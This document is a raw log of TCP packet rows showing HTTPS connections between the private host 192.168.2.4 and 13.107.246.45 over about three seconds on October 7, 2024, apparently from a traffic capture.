Oct 7, 2024 18:44:25.072474003 CEST	53805	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:25.072527885 CEST	443	53805	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:25.072658062 CEST	53805	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:25.072837114 CEST	53805	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:25.072851896 CEST	443	53805	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:25.492230892 CEST	443	53801	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:25.492854118 CEST	53801	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:25.492885113 CEST	443	53801	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:25.493365049 CEST	53801	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:25.493376970 CEST	443	53801	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:25.816186905 CEST	443	53802	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:25.816811085 CEST	53802	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:25.816838026 CEST	443	53802	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:25.817071915 CEST	443	53801	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:25.817105055 CEST	443	53801	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:25.817147970 CEST	443	53801	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:25.817162037 CEST	53801	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:25.817207098 CEST	53801	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:25.817452908 CEST	53801	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:25.817470074 CEST	443	53801	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:25.817480087 CEST	53801	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:25.817486048 CEST	443	53801	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:25.817585945 CEST	53802	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:25.817589998 CEST	443	53802	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:25.818013906 CEST	443	53804	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:25.818185091 CEST	443	53803	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:25.818664074 CEST	53804	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:25.818692923 CEST	443	53804	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:25.818840981 CEST	443	53805	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:25.819124937 CEST	53805	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:25.819139004 CEST	443	53805	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:25.821422100 CEST	53805	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:25.821422100 CEST	53806	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:25.821423054 CEST	53804	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:25.821429968 CEST	53803	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:25.821429968 CEST	53803	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:25.821443081 CEST	443	53804	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:25.821455956 CEST	443	53805	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:25.821459055 CEST	443	53803	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:25.821474075 CEST	443	53803	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:25.821482897 CEST	443	53806	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:25.821537018 CEST	53806	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:25.821682930 CEST	53806	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:25.821691990 CEST	443	53806	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:25.913760900 CEST	443	53802	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:25.914093971 CEST	443	53802	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:25.914175034 CEST	53802	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:25.914213896 CEST	53802	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:25.914232969 CEST	443	53802	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:25.914247990 CEST	53802	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:25.914253950 CEST	443	53802	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:25.914803028 CEST	443	53804	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:25.914827108 CEST	443	53804	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:25.914868116 CEST	443	53804	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:25.914906025 CEST	53804	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:25.914940119 CEST	53804	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:25.915148973 CEST	53804	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:25.915168047 CEST	443	53804	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:25.915266037 CEST	53804	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:25.915272951 CEST	443	53804	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:25.915957928 CEST	443	53803	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:25.915981054 CEST	443	53803	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:25.916053057 CEST	53803	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:25.916079998 CEST	443	53803	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:25.916498899 CEST	53803	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:25.916505098 CEST	443	53803	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:25.916521072 CEST	53803	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:25.916663885 CEST	443	53803	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:25.916697025 CEST	443	53803	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:25.916734934 CEST	53803	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:25.916861057 CEST	443	53805	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:25.917253017 CEST	443	53805	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:25.917292118 CEST	443	53805	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:25.917300940 CEST	53805	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:25.917331934 CEST	53805	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:25.917363882 CEST	53805	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:25.917380095 CEST	443	53805	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:25.917393923 CEST	53805	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:25.917398930 CEST	443	53805	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:25.919245005 CEST	53807	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:25.919287920 CEST	443	53807	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:25.919362068 CEST	53807	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:25.919775963 CEST	53808	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:25.919820070 CEST	443	53808	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:25.919878960 CEST	53808	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:25.919924974 CEST	53807	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:25.919935942 CEST	443	53807	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:25.920049906 CEST	53808	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:25.920063972 CEST	443	53808	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:25.920576096 CEST	53809	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:25.920615911 CEST	443	53809	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:25.920686007 CEST	53809	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:25.920835018 CEST	53809	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:25.920846939 CEST	443	53809	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:25.921226978 CEST	53810	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:25.921236038 CEST	443	53810	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:25.921279907 CEST	53810	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:25.921413898 CEST	53810	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:25.921423912 CEST	443	53810	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:26.433957100 CEST	443	53806	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:26.434564114 CEST	53806	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:26.434585094 CEST	443	53806	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:26.435067892 CEST	53806	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:26.435075998 CEST	443	53806	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:26.529165983 CEST	443	53810	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:26.529818058 CEST	53810	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:26.529849052 CEST	443	53810	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:26.530422926 CEST	53810	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:26.530433893 CEST	443	53810	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:26.532597065 CEST	443	53807	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:26.533055067 CEST	53807	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:26.533076048 CEST	443	53807	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:26.533535004 CEST	53807	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:26.533545017 CEST	443	53807	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:26.537537098 CEST	443	53806	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:26.537614107 CEST	443	53806	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:26.537920952 CEST	53806	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:26.537920952 CEST	53806	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:26.537952900 CEST	53806	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:26.537972927 CEST	443	53806	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:26.541241884 CEST	53811	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:26.541343927 CEST	443	53811	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:26.541455984 CEST	53811	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:26.541656971 CEST	53811	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:26.541692019 CEST	443	53811	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:26.546461105 CEST	443	53809	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:26.546981096 CEST	53809	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:26.547007084 CEST	443	53809	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:26.547455072 CEST	53809	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:26.547461987 CEST	443	53809	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:26.547617912 CEST	443	53808	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:26.547980070 CEST	53808	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:26.548036098 CEST	443	53808	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:26.548507929 CEST	53808	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:26.548530102 CEST	443	53808	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:26.640831947 CEST	443	53810	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:26.640898943 CEST	443	53810	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:26.640961885 CEST	53810	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:26.641246080 CEST	53810	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:26.641271114 CEST	443	53810	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:26.641283989 CEST	53810	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:26.641289949 CEST	443	53810	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:26.644757986 CEST	53812	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:26.644805908 CEST	443	53812	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:26.645040989 CEST	53812	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:26.645262003 CEST	53812	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:26.645270109 CEST	443	53812	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:26.687108040 CEST	443	53809	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:26.687135935 CEST	443	53809	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:26.687175989 CEST	443	53809	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:26.687252998 CEST	53809	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:26.687549114 CEST	53809	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:26.687572956 CEST	443	53809	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:26.687598944 CEST	53809	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:26.687604904 CEST	443	53809	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:26.687728882 CEST	443	53808	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:26.688978910 CEST	443	53808	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:26.689080000 CEST	53808	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:26.689169884 CEST	53808	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:26.689197063 CEST	443	53808	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:26.689214945 CEST	53808	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:26.689223051 CEST	443	53808	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:26.691286087 CEST	53813	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:26.691330910 CEST	443	53813	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:26.691471100 CEST	53814	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:26.691481113 CEST	443	53814	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:26.691531897 CEST	53813	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:26.691560030 CEST	53814	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:26.691709995 CEST	53813	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:26.691724062 CEST	443	53813	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:26.691926003 CEST	53814	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:26.691936016 CEST	443	53814	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:26.831624985 CEST	443	53807	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:26.831713915 CEST	443	53807	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:26.831825972 CEST	53807	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:26.832231998 CEST	53807	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:26.832254887 CEST	443	53807	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:26.832266092 CEST	53807	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:26.832272053 CEST	443	53807	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:26.836874008 CEST	53815	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:26.836930990 CEST	443	53815	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:26.837012053 CEST	53815	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:26.837166071 CEST	53815	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:26.837177038 CEST	443	53815	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:27.215903044 CEST	443	53811	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:27.257288933 CEST	53811	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:27.257334948 CEST	443	53811	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:27.258027077 CEST	53811	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:27.258048058 CEST	443	53811	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:27.352785110 CEST	443	53812	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:27.360358000 CEST	443	53814	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:27.360827923 CEST	443	53811	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:27.362983942 CEST	443	53811	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:27.363044977 CEST	443	53811	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:27.363115072 CEST	53811	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:27.396229029 CEST	53812	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:27.405709982 CEST	443	53813	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:27.411937952 CEST	53814	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:27.458657026 CEST	53813	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:27.532259941 CEST	53812	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:27.532325029 CEST	443	53812	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:27.533349991 CEST	53812	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:27.533364058 CEST	443	53812	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:27.534295082 CEST	53814	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:27.534322023 CEST	443	53814	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:27.534704924 CEST	53814	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:27.534714937 CEST	443	53814	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:27.534998894 CEST	53811	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:27.535043955 CEST	443	53811	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:27.535064936 CEST	53811	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:27.535073042 CEST	443	53811	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:27.536353111 CEST	53813	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:27.536372900 CEST	443	53813	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:27.536747932 CEST	53813	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:27.536751986 CEST	443	53813	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:27.539748907 CEST	443	53815	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:27.540081024 CEST	53815	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:27.540090084 CEST	443	53815	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:27.540472031 CEST	53815	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:27.540476084 CEST	443	53815	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:27.542551994 CEST	53816	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:27.542601109 CEST	443	53816	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:27.542829037 CEST	53816	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:27.544404984 CEST	53816	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:27.544420958 CEST	443	53816	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:27.667279005 CEST	443	53814	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:27.668338060 CEST	443	53814	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:27.668406963 CEST	53814	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:27.671374083 CEST	443	53812	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:27.671499014 CEST	443	53812	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:27.671593904 CEST	53812	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:27.674218893 CEST	443	53813	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:27.675056934 CEST	443	53813	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:27.675137997 CEST	53813	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:27.675158978 CEST	443	53813	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:27.675179958 CEST	443	53813	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:27.675234079 CEST	53813	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:27.728574991 CEST	443	53815	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:27.728652000 CEST	443	53815	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:27.728775978 CEST	53815	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:27.744118929 CEST	53814	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:27.744153023 CEST	443	53814	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:27.745764971 CEST	53812	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:27.745764971 CEST	53812	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:27.745786905 CEST	443	53812	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:27.745795012 CEST	443	53812	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:27.746556997 CEST	53813	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:27.746582985 CEST	443	53813	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:27.746622086 CEST	53813	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:27.746628046 CEST	443	53813	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:27.747404099 CEST	53815	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:27.747409105 CEST	443	53815	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:27.747447968 CEST	53815	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:27.747452974 CEST	443	53815	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:27.750309944 CEST	53817	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:27.750356913 CEST	443	53817	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:27.750435114 CEST	53817	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:27.750813961 CEST	53818	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:27.750829935 CEST	443	53818	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:27.751104116 CEST	53819	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:27.751122952 CEST	53818	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:27.751138926 CEST	443	53819	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:27.751213074 CEST	53819	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:27.751378059 CEST	53817	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:27.751399040 CEST	443	53817	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:27.751477957 CEST	53818	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:27.751485109 CEST	443	53818	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:27.751570940 CEST	53819	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:27.751585007 CEST	443	53819	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:27.752038002 CEST	53820	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:27.752110004 CEST	443	53820	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:27.752192974 CEST	53820	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:27.752330065 CEST	53820	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:27.752346992 CEST	443	53820	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:28.443578005 CEST	443	53816	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:28.446396112 CEST	53816	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:28.446418047 CEST	443	53816	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:28.447258949 CEST	53816	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:28.447263956 CEST	443	53816	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:28.545934916 CEST	443	53816	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:28.546335936 CEST	443	53816	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:28.546593904 CEST	53816	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:28.546791077 CEST	53816	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:28.546812057 CEST	443	53816	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:28.546823978 CEST	53816	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:28.546829939 CEST	443	53816	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:28.550084114 CEST	53821	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:28.550192118 CEST	443	53821	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:28.550303936 CEST	53821	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:28.550467968 CEST	53821	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:28.550489902 CEST	443	53821	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:28.642400980 CEST	443	53817	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:28.643030882 CEST	53817	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:28.643109083 CEST	443	53817	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:28.643477917 CEST	443	53818	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:28.643537045 CEST	53817	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:28.643552065 CEST	443	53817	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:28.643827915 CEST	53818	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:28.643843889 CEST	443	53818	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:28.644311905 CEST	53818	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:28.644325018 CEST	443	53818	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:28.644954920 CEST	443	53820	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:28.645395994 CEST	53820	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:28.645433903 CEST	443	53820	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:28.645828009 CEST	53820	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:28.645837069 CEST	443	53820	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:28.656733990 CEST	443	53819	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:28.657222033 CEST	53819	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:28.657238007 CEST	443	53819	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:28.657684088 CEST	53819	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:28.657690048 CEST	443	53819	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:28.742546082 CEST	443	53818	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:28.742743015 CEST	443	53818	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:28.742820024 CEST	53818	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:28.743047953 CEST	53818	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:28.743076086 CEST	443	53818	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:28.743092060 CEST	53818	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:28.743097067 CEST	443	53818	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:28.744311094 CEST	443	53817	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:28.744487047 CEST	443	53817	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:28.744694948 CEST	53817	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:28.744796991 CEST	53817	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:28.744807959 CEST	443	53817	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:28.747167110 CEST	53822	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:28.747271061 CEST	443	53822	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:28.747364044 CEST	53822	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:28.747483015 CEST	53823	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:28.747529984 CEST	53822	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:28.747550964 CEST	443	53822	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:28.747586012 CEST	443	53823	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:28.747653961 CEST	53823	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:28.747885942 CEST	53823	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:28.747919083 CEST	443	53823	13.107.246.45	192.168.2.4
